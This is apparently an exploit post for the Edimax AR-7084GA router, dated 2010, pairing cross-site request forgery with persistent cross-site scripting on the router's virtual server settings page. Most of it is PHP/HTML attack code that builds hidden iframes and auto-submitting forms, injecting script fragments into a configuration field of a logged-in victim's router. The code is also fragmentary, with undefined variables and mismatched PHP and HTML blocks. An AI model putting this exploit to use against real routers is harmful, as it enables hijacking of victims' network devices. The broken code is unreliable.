Edimax AR-7084GA Router CSRF + Persistent XSS Exploit :

Date : 2010-04-03 Author : l3D
Edimax AR-7084GA Router CSRF + Persistent XSS Exploit
Firmware version:
Vulnerable page: http://[xx.xx.xx.xx]/advanced/adv_nat_virsvr.htm
Author: l3D
Sites: http://xraysecurity.blogspot.com, http://nullbyte.org.il
IRC: irc://irc.nix.co.il
Email: [email protected]

Like every CSRF attack, the victim must be logged in first before he
opens this malicious page.
Then he should wait some seconds until the router receives all the requests.
It may take few tries until it works.
The code should be split into parts because the router limits the
VIRTUALSVR_Application parameter length.
The author doesn't take any responsibility for what you do with that code.
if(!isset($_GET["ip"]) or !is_string($_GET["ip"])) die("The victim
router's ip isn't set!");
else $ip=$_GET["ip"];

	foreach($script as $part)
		if(strlen($part)>25) die("One or more of the parts can't be longer
then 25 characters!");
	for($i=1; $i<=count($script); $i++){
		echo '<iframe src="'.$target.'" height="0" width="0"></iframe>';
		<form method="post" action="http://<?php echo $ip;
?>/Forms/adv_nat_virsvr_1" name="VIRTUALSVR_form">
			<input type="hidden" name="VIRTUALSVR_IndexFlag" value="0" />
			<input type="hidden" name="VIRTUALSVR_index" value="<?php echo $time; ?>" />
			<input type="hidden" name="VIRTUALSVR_Application" value="<?php
echo htmlspecialchars($script); ?>" />
			<input type="hidden" name="VIRTUALSVR_startPort" value="<?php echo
$time; ?>" />
			<input type="hidden" name="VIRTUALSVR_endPort" value="<?php echo
$time; ?>" />
			<input type="hidden" name="VIRTUALSVR_localIP" value="<?php echo $ip; ?>" />